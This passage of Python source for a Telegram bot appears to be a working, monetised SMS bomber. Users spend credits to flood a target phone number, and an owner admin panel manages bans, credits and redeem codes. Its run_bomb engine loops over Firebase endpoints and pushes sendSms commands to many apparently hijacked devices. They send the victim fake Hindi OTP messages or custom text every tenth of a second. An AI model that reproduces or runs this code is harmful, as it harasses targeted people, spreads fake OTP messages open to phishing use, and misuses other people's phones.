| await update.message.reply_text(f"╔═══◈═══╗\n║ {B('VIDEO SET')} ║\n╚═══◈═══╝\n\n✅ Video set!\n🆔 <code>{v.file_id[:20]}...</code>", parse_mode="HTML") | |
| except: pass | |
| # ── ADMIN PANEL BUILDER ──────────────────────────────────── | |
| def admin_panel_data(): | |
| t, tc, tb = get_stats() | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close() | |
| rt, ru = get_redeem_stats() | |
| text = (f"╔═══◈═══╗\n║ {B('ADMIN')} ║\n╚═══◈═══╝\n\n{sl()}\n" | |
| f"👥 Users: <code>{t}</code>\n💰 Credits: <code>{tc}</code>\n" | |
| f"💣 Bombs: <code>{tb}</code>\n🚫 Banned: <code>{bc}</code>\n" | |
| f"🎟️ Redeem: <code>{ru}/{rt}</code> used\n{sl()}\n\n" | |
| f"💡 Tap any button — bot will ask for details!") | |
| kb = im([ | |
| [("👥 Users", "admin_users", "primary"), ("🚫 Ban", "admin_ban", "danger")], | |
| [("✅ Unban", "admin_unban", "success"), ("➕ Add Credits", "admin_add", "success")], | |
| [("➖ Remove", "admin_rem", "danger"), ("🎟️ Create Redeem", "admin_redeem", "primary")], | |
| [("📋 Redeem Codes", "admin_redeems", "primary"), ("📊 Refresh", "admin_refresh", "success")], | |
| [("🔙 Back", "admin_back", "danger")], | |
| ]) | |
| return text, kb | |
| async def admin_panel(q): | |
| try: | |
| text, kb = admin_panel_data() | |
| await q.edit_message_text(text, parse_mode="HTML", reply_markup=kb) | |
| except: pass | |
| async def admin_redeems(q): | |
| try: | |
| rs = get_redeems(15) | |
| msg = f"╔═══◈═══╗\n║ {B('REDEEM CODES')} ║\n╚═══◈═══╝\n\n" | |
| if not rs: | |
| msg += "📭 No codes yet\n\n🎟️ Create one!" | |
| else: | |
| for code, amt, cb_, ub, ca, ua in rs: | |
| if ub: | |
| msg += f"• <code>{code}</code> | 💰{amt} | ✅ Used by {ub}\n" | |
| else: | |
| msg += f"• <code>{code}</code> | 💰{amt} | 🟢 Unused\n" | |
| await q.edit_message_text(msg, parse_mode="HTML", | |
| reply_markup=im([[("🎟️ Create", "admin_redeem", "primary"), ("🔙 Back", "admin_back", "danger")]])) | |
| except: pass | |
| async def admin_users(q, page=0): | |
| try: | |
| users = get_all_users() | |
| pp = 10; s = page*pp; e = s+pp; pu = users[s:e]; tp = (len(users)+pp-1)//pp | |
| msg = f"╔═══◈═══╗\n║ {B('USERS')} ({page+1}/{tp}) ║\n╚═══◈═══╝\n\n" | |
| for i,(ui,cr,bm,jt) in enumerate(pu, start=s+1): | |
| msg += f"{i}. <code>{ui}</code> | 💰{cr} | 💣{bm}\n" | |
| msg += "\n💡 Tap user ID to view:" | |
| rows = [] | |
| nav = [] | |
| if page > 0: nav.append((f"◀️ Prev", f"admin_users_page_{page-1}", "danger")) | |
| if page+1 < tp: nav.append((f"Next ▶️", f"admin_users_page_{page+1}", "primary")) | |
| if nav: rows.append(nav) | |
| for ui,cr,bm,_ in pu[:5]: | |
| rows.append([(f"👤 {ui}", f"admin_ui_{ui}", "primary")]) | |
| rows.append([("🔙 Back", "admin_back", "danger")]) | |
| await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows)) | |
| except: pass | |
| async def admin_ui(q, target): | |
| try: | |
| info = get_ui(target) | |
| banned = is_banned(target) | |
| if not info: | |
| await q.edit_message_text("❌ Not found", reply_markup=im([[("🔙", "admin_users", "danger")]])); return | |
| msg = (f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n" | |
| f"🆔 <code>{info[0]}</code>\n💰 {info[1]}\n👥 Referrer: <code>{info[2] or 'None'}</code>\n" | |
| f"💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅ Yes' if banned else '❌ No'}\n{sl()}") | |
| rows = [] | |
| if banned: rows.append([(f"✅ Unban", f"admin_unban_{target}", "success")]) | |
| else: rows.append([(f"🚫 Ban", f"admin_ban_{target}", "danger")]) | |
| rows.append([(f"+5", f"admin_give_{target}_5", "success"), | |
| (f"+10", f"admin_give_{target}_10", "primary"), | |
| (f"-5", f"admin_rem_{target}_5", "danger")]) | |
| rows.append([("🔙 Back", "admin_users", "danger")]) | |
| await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows)) | |
| except: pass | |
| # ── CALLBACK ──────────────────────────────────────────────── | |
| async def cb(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| q = update.callback_query | |
| uid = q.from_user.id | |
| d = q.data | |
| except: return | |
| # answer fail ho toh bhi button process karo | |
| try: | |
| await q.answer() | |
| except Exception: | |
| pass | |
| try: | |
| if d == "fj_check": | |
| if await check_fj(update, ctx): await q.edit_message_text(f"✅ {B('Thanks! Use')} /start") | |
| else: | |
| try: await q.answer("❌ Join all channels!", show_alert=True) | |
| except: pass | |
| return | |
| if d == "bomb_start": | |
| # double-bomb prevent | |
| if bomb_running(uid): | |
| try: await q.answer("⚠️ Bomb already running! Pehle 🛑 STOP karo.", show_alert=True) | |
| except: pass | |
| return | |
| ctx.user_data.clear() | |
| ctx.user_data['bomb_step'] = 'number' | |
| await q.edit_message_text(f"📞 {B('Enter number:')}\n✅ +91XXXXXXXXXX\n❌ /cancel") | |
| return | |
| if d == "bomb_cancel": | |
| ctx.user_data.clear(); await q.edit_message_text(f"❌ {B('Cancelled.')}"); return | |
| # STOP ab global event se — user_data.clear() se immune | |
| if d == "bomb_stop": | |
| ok = request_bomb_stop(uid) | |
| ctx.user_data['bomb_stop'] = True # legacy backup | |
| try: | |
| if ok: | |
| await q.edit_message_text(f"🛑 {B('Stopping...')}") | |
| else: | |
| await q.edit_message_text(f"ℹ️ {B('No active bomb.')}") | |
| except: pass | |
| return | |
| if d.startswith("msgtype_"): | |
| t = d.split("_")[1] | |
| if t == "cancel": ctx.user_data.clear(); await q.edit_message_text("❌ Cancelled."); return | |
| num = ctx.user_data.get('bomb_num') | |
| if not num: await q.edit_message_text("❌ Error. Restart."); return | |
| if t == "otp": | |
| if bomb_running(uid): | |
| try: await q.answer("⚠️ Bomb already running!", show_alert=True) | |
| except: pass | |
| return | |
| ctx.user_data['bomb_msg'] = "आपका OTP है: {otp} | कृपया इसे किसी को न बताएँ।" | |
| if not deduct_credit(uid): | |
| await q.edit_message_text("❌ No credits!"); return | |
| ctx.user_data['bomb_step'] = 'running' | |
| loga(uid, "Bomb Started", f"Target: {num}") | |
| asyncio.create_task(run_bomb(update, ctx)) | |
| await q.edit_message_text(f"🚀 {B('Bombing with OTP!')}\n🛑 STOP button ya /stop use karo") | |
| return | |
| elif t == "custom": | |
| ctx.user_data['bomb_step'] = 'custom_msg' | |
| await q.edit_message_text(f"✏️ {B('Type your custom message NOW:')}\n💡 Use <code>{{otp}}</code> for random OTP", parse_mode="HTML") | |
| return | |
| # ── ADMIN SECTION (owner only) ── | |
| if d.startswith("admin_") and not is_owner(uid): | |
| try: await q.answer("⛔ Owner only!", show_alert=True) | |
| except: pass | |
| return | |
| if d == "admin_panel": ctx.user_data.pop('admin_step', None); await admin_panel(q); return | |
| if d == "admin_users": ctx.user_data.pop('admin_step', None); await admin_users(q, 0); return | |
| if d.startswith("admin_users_page_"): ctx.user_data.pop('admin_step', None); await admin_users(q, int(d.split("_")[-1])); return | |
| if d.startswith("admin_ui_"): ctx.user_data.pop('admin_step', None); t = int(d.split("_")[-1]); await admin_ui(q, t); return | |
| if d == "admin_redeems": ctx.user_data.pop('admin_step', None); await admin_redeems(q); return | |
| if d in ("admin_back", "admin_refresh"): ctx.user_data.pop('admin_step', None); await admin_panel(q); return | |
| # INTERACTIVE ADMIN FLOWS | |
| if d == "admin_ban": | |
| ctx.user_data['admin_step'] = 'ban_id' | |
| await q.edit_message_text(f"🚫 {B('Send user ID to ban:')}\n❌ /cancel") | |
| return | |
| if d == "admin_unban": | |
| ctx.user_data['admin_step'] = 'unban_id' | |
| await q.edit_message_text(f"✅ {B('Send user ID to unban:')}\n❌ /cancel") | |
| return | |
| if d == "admin_add": | |
| ctx.user_data['admin_step'] = 'add_id' | |
| await q.edit_message_text(f"➕ {B('Send user ID:')}\n❌ /cancel") | |
| return | |
| if d == "admin_rem": | |
| ctx.user_data['admin_step'] = 'rem_id' | |
| await q.edit_message_text(f"➖ {B('Send user ID:')}\n❌ /cancel") | |
| return | |
| if d == "admin_redeem": | |
| ctx.user_data['admin_step'] = 'redeem_amt' | |
| await q.edit_message_text(f"🎟️ {B('Enter coin amount:')}\n❌ /cancel") | |
| return | |
| # DIRECT ACTIONS (from user view) | |
| if d.startswith("admin_ban_"): | |
| t = int(d.split("_")[-1]); ban_user(t, uid) | |
| loga(uid, "Banned", str(t)) | |
| try: await q.answer(f"✅ Banned {t}", show_alert=True) | |
| except: pass | |
| await admin_ui(q, t); return | |
| if d.startswith("admin_unban_"): | |
| t = int(d.split("_")[-1]); unban_user(t) | |
| loga(uid, "Unbanned", str(t)) | |
| try: await q.answer(f"✅ Unbanned {t}", show_alert=True) | |
| except: pass | |
| await admin_ui(q, t); return | |
| if d.startswith("admin_give_"): | |
| p = d.split("_"); t = int(p[2]); a = int(p[3]) | |
| add_credits(t, a); loga(uid, f"Added {a}", f"To {t}") | |
| try: await q.answer(f"✅ +{a} credits", show_alert=True) | |
| except: pass | |
| await admin_ui(q, t); return | |
| if d.startswith("admin_rem_"): | |
| p = d.split("_"); t = int(p[2]); a = int(p[3]) | |
| ok = remove_credits(t, a) | |
| if ok: loga(uid, f"Removed {a}", f"From {t}") | |
| try: await q.answer(f"{'✅' if ok else '❌'}", show_alert=True) | |
| except: pass | |
| await admin_ui(q, t); return | |
| except Exception as e: | |
| print(f"[cb] Error: {e}") | |
| # ── BOMB ENGINE (STOP FIXED) ─────────────────────────────── | |
| async def run_bomb(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| uid = update.effective_user.id | |
| except: return | |
| num = ctx.user_data.get('bomb_num') | |
| tmpl = ctx.user_data.get('bomb_msg', "आपका OTP है: {otp}") | |
| has_otp = '{otp}' in tmpl | |
| cy = 0; ts = 0; tf = 0 | |
| # global stop event — user_data.clear() se immune | |
| stop_ev = start_bomb_event(uid) | |
| try: | |
| st = await ctx.application.bot.send_message(uid, | |
| f"🚀 {B('Bombing')} {num}\n🔄 #0 | ✅ 0 | ❌ 0", | |
| reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton("🛑 STOP", | |
| callback_data="bomb_stop", **({"api_kwargs": {"style": "danger"}}))]])) | |
| except: | |
| finish_bomb(uid) | |
| return | |
| try: | |
| while not stop_ev.is_set(): | |
| if is_banned(uid): break | |
| cy += 1; tks = [] | |
| for url in FIREBASE_URLS: | |
| if stop_ev.is_set(): break | |
| clients = await asyncio.to_thread(fb_get, url, "/clients") | |
| if not clients or not isinstance(clients, dict): continue | |
| for dev in list(clients.keys()): | |
| if stop_ev.is_set(): break | |
| msg = tmpl | |
| if has_otp: msg = tmpl.replace('{otp}', ''.join(random.choices(string.digits, k=6))) | |
| tks.append(asyncio.to_thread(fb_put, url, | |
| f"clients/{dev}/webhookEvent/sendSms", | |
| {"sim":1,"to":num,"message":msg,"isSended":False})) | |
| if tks: | |
| res = await asyncio.gather(*tks) | |
| ts += sum(1 for r in res if r) | |
| tf += sum(1 for r in res if not r) | |
| try: | |
| await st.edit_text(f"🚀 {B('Bombing')} {num}\n🔄 #{cy} | ✅ {ts} | ❌ {tf}") | |
| except: pass | |
| # sleep ki jagah event-wait — STOP dabate hi turant ruk jayega | |
| try: | |
| await asyncio.wait_for(stop_ev.wait(), timeout=0.1) | |
| except asyncio.TimeoutError: | |
| pass | |
| finally: | |
| finish_bomb(uid) # hamesha cleanup — error aaye tab bhi | |
| ctx.user_data.pop('bomb_stop', None) | |
| ctx.user_data.pop('bomb_step', None) | |
| try: | |
| await st.edit_text( | |
| f"━━━━━━━━━━━\n🛑 {B('STOPPED')} 🛑\n━━━━━━━━━━━\n📞 {num}\n🔄 #{cy}\n✅ {ts}\n❌ {tf}\n━━━━━━━━━━━", | |
| parse_mode="HTML", reply_markup=None) | |
| except: pass | |
| loga(uid, "Bomb Ended", f"Target: {num}, Sent: {ts}, Failed: {tf}") | |
| # ── TEXT HANDLER ──────────────────────────────────────────── | |
| async def ht(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if update.effective_user is None: return | |
| uid = update.effective_user.id | |
| text = update.message.text.strip() | |
| if is_banned(uid): | |
| try: await update.message.reply_text(f"❌ {B('Banned.')}") | |
| except: pass | |
| return | |
| if not await check_fj(update, ctx): | |
| await fj_prompt(update, ctx); return | |
| # INTERACTIVE ADMIN INPUT FLOWS (owner only) | |
| if ctx.user_data.get('admin_step'): | |
| if not is_owner(uid): | |
| ctx.user_data.pop('admin_step', None) | |
| try: await update.message.reply_text("⛔ Owner only!") | |
| except: pass | |
| return | |
| step = ctx.user_data.get('admin_step') | |
| if step == 'ban_id': | |
| try: | |
| t = int(text) | |
| if not get_ui(t): | |
| try: await update.message.reply_text("❌ User not found!") | |
| except: pass | |
| else: | |
| ban_user(t, uid); loga(uid, "Banned", str(t)) | |
| try: await update.message.reply_text(f"🚫 {B('Banned')} <code>{t}</code>", parse_mode="HTML") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Invalid ID!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| if step == 'unban_id': | |
| try: | |
| t = int(text) | |
| if unban_user(t): | |
| loga(uid, "Unbanned", str(t)) | |
| try: await update.message.reply_text(f"✅ {B('Unbanned')} <code>{t}</code>", parse_mode="HTML") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Not banned!") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Invalid ID!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| if step == 'add_id': | |
| try: | |
| t = int(text) | |
| if not get_ui(t): | |
| try: await update.message.reply_text("❌ User not found!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None); return | |
| ctx.user_data['admin_target'] = t | |
| ctx.user_data['admin_step'] = 'add_amt' | |
| try: await update.message.reply_text(f"💰 {B('Enter amount for')} <code>{t}</code>:", parse_mode="HTML") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Invalid ID!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| if step == 'add_amt': | |
| try: | |
| a = int(text) | |
| t = ctx.user_data.get('admin_target') | |
| if a > 0 and t: | |
| add_credits(t, a); loga(uid, f"Added {a}", f"To {t}") | |
| try: await update.message.reply_text(f"✅ +<code>{a}</code> credits → <code>{t}</code>", parse_mode="HTML") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Invalid amount!") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Enter a number!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None) | |
| return | |
| if step == 'rem_id': | |
| try: | |
| t = int(text) | |
| if not get_ui(t): | |
| try: await update.message.reply_text("❌ User not found!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None); return | |
| ctx.user_data['admin_target'] = t | |
| ctx.user_data['admin_step'] = 'rem_amt' | |
| try: await update.message.reply_text(f"➖ {B('Enter amount to remove from')} <code>{t}</code>:", parse_mode="HTML") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Invalid ID!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| if step == 'rem_amt': | |
| try: | |
| a = int(text) | |
| t = ctx.user_data.get('admin_target') | |
| if a > 0 and t: | |
| if remove_credits(t, a): | |
| loga(uid, f"Removed {a}", f"From {t}") | |
| try: await update.message.reply_text(f"✅ -<code>{a}</code> credits from <code>{t}</code>", parse_mode="HTML") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Insufficient credits!") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Invalid amount!") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Enter a number!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None); ctx.user_data.pop('admin_target', None) | |
| return | |
| if step == 'redeem_amt': | |
| try: | |
| a = int(text) | |
| if a <= 0: | |
| try: await update.message.reply_text("❌ Enter a positive number!") | |
| except: pass | |
| else: | |
| code = create_redeem(a, uid) | |
| loga(uid, "Redeem Created", f"Code: {code}, {a} cr") | |
| try: | |
| await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('REDEEM CODE')} ║\n╚═══◈═══╝\n\n{sl()}\n" | |
| f"💰 Amount: <code>{a}</code>\n" | |
| f"🔑 Code: <code>{code}</code>\n" | |
| f"✨ {B(code)}\n{sl()}\n\n" | |
| f"📤 Send this code to users!", | |
| parse_mode="HTML") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌ Enter a number!") | |
| except: pass | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| ctx.user_data.pop('admin_step', None) | |
| return | |
| # REDEEM FLOW (user types code) | |
| if ctx.user_data.get('redeem_step') == 'code': | |
| code = text.strip() | |
| r = get_redeem(code) | |
| if not r: | |
| try: await update.message.reply_text(f"❌ {B('Invalid code!')}") | |
| except: pass | |
| elif r[3] is not None: | |
| try: await update.message.reply_text(f"❌ {B('Code already used!')}") | |
| except: pass | |
| else: | |
| use_redeem(code, uid) | |
| add_credits(uid, r[1]) | |
| loga(uid, "Redeemed", f"Code: {code}, +{r[1]}") | |
| try: | |
| await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('REDEEMED')} ║\n╚═══◈═══╝\n\n{sl()}\n" | |
| f"✅ +<code>{r[1]}</code> credits!\n" | |
| f"💰 New balance: <code>{get_credits(uid)}</code>\n{sl()}", | |
| parse_mode="HTML") | |
| except: pass | |
| ctx.user_data.pop('redeem_step', None) | |
| return | |
| # FLOW: NUMBER INPUT | |
| if ctx.user_data.get('bomb_step') == 'number': | |
| if bomb_running(uid): | |
| ctx.user_data.pop('bomb_step', None) | |
| try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") | |
| except: pass | |
| return | |
| ok, m = validate_phone(text) | |
| if not ok: | |
| try: await update.message.reply_text(f"{m}\n📞 +91XXXXXXXXXX") | |
| except: pass | |
| return | |
| ctx.user_data['bomb_num'] = text.strip() | |
| ctx.user_data['bomb_step'] = 'msgtype' | |
| await update.message.reply_text("📝 Select type:", | |
| reply_markup=im([[("🔢 OTP", "msgtype_otp", "primary"), | |
| ("✏️ Custom", "msgtype_custom", "success")], | |
| [("❌ Cancel", "msgtype_cancel", "danger")]])) | |
| return | |
| # FLOW: CUSTOM MESSAGE INPUT | |
| if ctx.user_data.get('bomb_step') == 'custom_msg': | |
| if not text: | |
| try: await update.message.reply_text("❌ Empty") | |
| except: pass | |
| return | |
| if bomb_running(uid): | |
| ctx.user_data.pop('bomb_step', None) | |
| try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") | |
| except: pass | |
| return | |
| ctx.user_data['bomb_msg'] = text | |
| if not deduct_credit(uid): | |
| try: await update.message.reply_text("❌ No credits!") | |
| except: pass | |
| return | |
| num = ctx.user_data.get('bomb_num') | |
| ctx.user_data['bomb_step'] = 'running' | |
| loga(uid, "Bomb Started", f"Target: {num}") | |
| asyncio.create_task(run_bomb(update, ctx)) | |
| try: await update.message.reply_text(f"🚀 {B('Bombing with custom msg!')}\n🛑 /stop ya STOP button") | |
| except: pass | |
| return | |
| # MAIN MENU BUTTONS | |
| if text == "💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎": | |
| ctx.user_data.clear() | |
| if bomb_running(uid): | |
| try: await update.message.reply_text("⚠️ Bomb already running! Pehle 🛑 STOP karo.") | |
| except: pass | |
| return | |
| creds = get_credits(uid) | |
| if creds <= 0: | |
| try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('NO CREDITS')} ║\n╚═══◈═══╝\n\n❌ 0 credits! 🔗 Use referral or 🎟️ Redeem.") | |
| except: pass | |
| return | |
| await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n💰 <code>{creds}</code>\n{sl()}\n💣 1 credit = 1 bomb", | |
| parse_mode="HTML", | |
| reply_markup=im([[("🚀 Start", "bomb_start", "success"), ("❌ Cancel", "bomb_cancel", "danger")]])) | |
| return | |
| if text == "💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎": | |
| try: await update.message.reply_text(f"╔═══◈═══╗\n║ {B('CREDITS')} ║\n╚═══◈═══╝\n\n💰 <code>{get_credits(uid)}</code>\n💡 Use referral or redeem to earn more") | |
| except: pass | |
| return | |
| # REDEEM BUTTON | |
| if text == "🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈": | |
| ctx.user_data.clear() | |
| ctx.user_data['redeem_step'] = 'code' | |
| try: | |
| await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('REDEEM')} ║\n╚═══◈═══╝\n\n" | |
| f"🎟️ {B('Enter your code:')}\n💡 Format: <code>titan-XXXXXX</code>\n❌ /cancel", | |
| parse_mode="HTML") | |
| except: pass | |
| return | |
| if text == "🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇": | |
| bot = (await ctx.application.bot.get_me()).username | |
| try: await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('REFERRAL')} ║\n╚═══◈═══╝\n\n🔗 <code>https://t.me/{bot}?start=ref_{uid}</code>\n\n🎁 +1 credit per new user!") | |
| except: pass | |
| return | |
| if text == "🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿": | |
| lb = get_lb(10) | |
| m = f"╔═══◈═══╗\n║ {B('LEADERBOARD')} ║\n╚═══◈═══╝\n\n" | |
| for i,(u2,cr,bm) in enumerate(lb, 1): | |
| md = "🥇" if i==1 else "🥈" if i==2 else "🥉" if i==3 else f"{i}." | |
| m += f"{md} <code>{u2}</code> | 💰{cr} | 💣{bm}\n" | |
| try: await update.message.reply_text(m, parse_mode="HTML") | |
| except: pass | |
| return | |
| if text == "📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔": | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT action, details, created_at FROM user_history WHERE user_id=? ORDER BY id DESC LIMIT 10", (uid,)) | |
| rows = c.fetchall(); conn.close() | |
| if not rows: | |
| try: await update.message.reply_text("📭 Empty") | |
| except: pass | |
| return | |
| m = f"╔═══◈═══╗\n║ {B('HISTORY')} ║\n╚═══◈═══╝\n\n" | |
| for a,d_,t in rows: m += f"• {a} — {d_} ({t[:16]})\n" | |
| try: await update.message.reply_text(m) | |
| except: pass | |
| return | |
| if text == "📊 𝙎𝙏𝘼𝙏𝙎": | |
| t, tc, tb = get_stats() | |
| try: await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('STATS')} ║\n╚═══◈═══╝\n\n{sl()}\n👥 {t}\n💰 {tc}\n💣 {tb}\n👤 Your credits: <code>{get_credits(uid)}</code>\n{sl()}") | |
| except: pass | |
| return | |
| if text == "⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇" and is_owner(uid): | |
| text_p, kb = admin_panel_data() | |
| try: await update.message.reply_text(text_p, parse_mode="HTML", reply_markup=kb) | |
| except: pass | |
| return | |
| try: await update.message.reply_text(f"❌ {B('Use buttons!')}\n💡 /start") | |
| except: pass | |
| except Exception as e: | |
| print(f"[ht] Error: {e}") | |
| # ── OWNER COMMANDS ───────────────────────────────────────── | |
| async def users_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| users = get_all_users() | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close() | |
| m = f"╔═══◈═══╗\n║ {B('USERS')} ║\n╚═══◈═══╝\n\n👥 {len(users)} | 🚫 {bc}\n\n" | |
| for ui,cr,bm,jt in users: | |
| m += f"<code>{ui}</code> | 💰{cr} | 💣{bm}\n" | |
| if len(m) > 3500: m += f"\n... more"; break | |
| try: await update.message.reply_text(m, parse_mode="HTML") | |
| except: pass | |
| except: pass | |
| async def ui_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if not ctx.args: | |
| try: await update.message.reply_text("/userinfo [id]") | |
| except: pass | |
| return | |
| try: t = int(ctx.args[0]); info = get_ui(t) | |
| except: | |
| try: await update.message.reply_text("❌") | |
| except: pass | |
| return | |
| if not info: | |
| try: await update.message.reply_text("❌ Not found") | |
| except: pass | |
| return | |
| try: await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n🆔 <code>{info[0]}</code>\n💰 {info[1]}\n👥 {info[2] or 'None'}\n💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅' if is_banned(t) else '❌'}\n{sl()}", | |
| parse_mode="HTML") | |
| except: pass | |
| except: pass | |
| async def ac_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if len(ctx.args) < 2: | |
| try: await update.message.reply_text("/addcredits [id] [amt]") | |
| except: pass | |
| return | |
| try: | |
| t,a = int(ctx.args[0]), int(ctx.args[1]); add_credits(t,a) | |
| loga(update.effective_user.id, f"Added {a}", f"To {t}") | |
| try: await update.message.reply_text(f"✅ Added {a} to {t}") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌") | |
| except: pass | |
| except: pass | |
| async def rc_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if len(ctx.args) < 2: | |
| try: await update.message.reply_text("/removecredits [id] [amt]") | |
| except: pass | |
| return | |
| try: | |
| t,a = int(ctx.args[0]), int(ctx.args[1]) | |
| if remove_credits(t,a): | |
| loga(update.effective_user.id, f"Removed {a}", f"From {t}") | |
| try: await update.message.reply_text(f"✅ Removed {a}") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Insufficient") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌") | |
| except: pass | |
| except: pass | |
| async def ban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if not ctx.args: | |
| try: await update.message.reply_text("/ban [id]") | |
| except: pass | |
| return | |
| try: | |
| t = int(ctx.args[0]); ban_user(t, update.effective_user.id) | |
| loga(update.effective_user.id, "Banned", f"{t}") | |
| try: await update.message.reply_text(f"🚫 Banned {t}") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌") | |
| except: pass | |
| except: pass | |
| async def unban_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if not ctx.args: | |
| try: await update.message.reply_text("/unban [id]") | |
| except: pass | |
| return | |
| try: | |
| t = int(ctx.args[0]) | |
| if unban_user(t): | |
| loga(update.effective_user.id, "Unbanned", f"{t}") | |
| try: await update.message.reply_text(f"✅ Unbanned {t}") | |
| except: pass | |
| else: | |
| try: await update.message.reply_text("❌ Not banned") | |
| except: pass | |
| except: | |
| try: await update.message.reply_text("❌") | |
| except: pass | |
| except: pass | |
| async def bcast(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| try: await update.message.reply_text("⛔") | |
| except: pass | |
| return | |
| if not ctx.args: | |
| try: await update.message.reply_text("/broadcast [msg]") | |
| except: pass | |
| return | |
| msg = " ".join(ctx.args); users = get_all_users(); sd=0; fl=0 | |
| try: st = await update.message.reply_text("📢 Broadcasting...") | |
| except: return | |
| for (u2,_,_,_) in users: | |
| if is_banned(u2): fl+=1; continue | |
| try: | |
| await ctx.application.bot.send_message(u2, | |
| f"╔═══◈═══╗\n║ {B('BROADCAST')} ║\n╚═══◈═══╝\n\n{msg}", parse_mode="HTML") | |
| sd+=1 | |
| except: fl+=1 | |
| if (sd+fl)%20==0: | |
| try: await st.edit_text(f"📢 Sent: {sd} | Failed: {fl}") | |
| except: pass | |
| await asyncio.sleep(0.02) | |
| try: await st.edit_text(f"✅ Done!\nSent: {sd}\nFailed: {fl}") | |
| except: pass | |
| loga(update.effective_user.id, "Broadcast", f"Sent: {sd}") | |
| except: pass | |
| # /stop ab global event use karta hai | |
| async def stop_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| uid = update.effective_user.id | |
| except: return | |
| ok = request_bomb_stop(uid) | |
| ctx.user_data['bomb_stop'] = True # legacy backup | |
| try: | |
| if ok: | |
| await update.message.reply_text(f"🛑 {B('Stopping...')}") | |
| else: | |
| await update.message.reply_text(f"ℹ️ {B('No active bomb.')}") | |
| except: pass | |
| async def cancel_cmd(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| ctx.user_data.clear() | |
| try: await update.message.reply_text(f"❌ {B('Cancelled.')}") | |
| except: pass | |
| # ── MAIN ─────────────────────────────────────────────────── | |
| def main(): | |
| request_kwargs = { | |
| "read_timeout": 30, | |
| "write_timeout": 30, | |
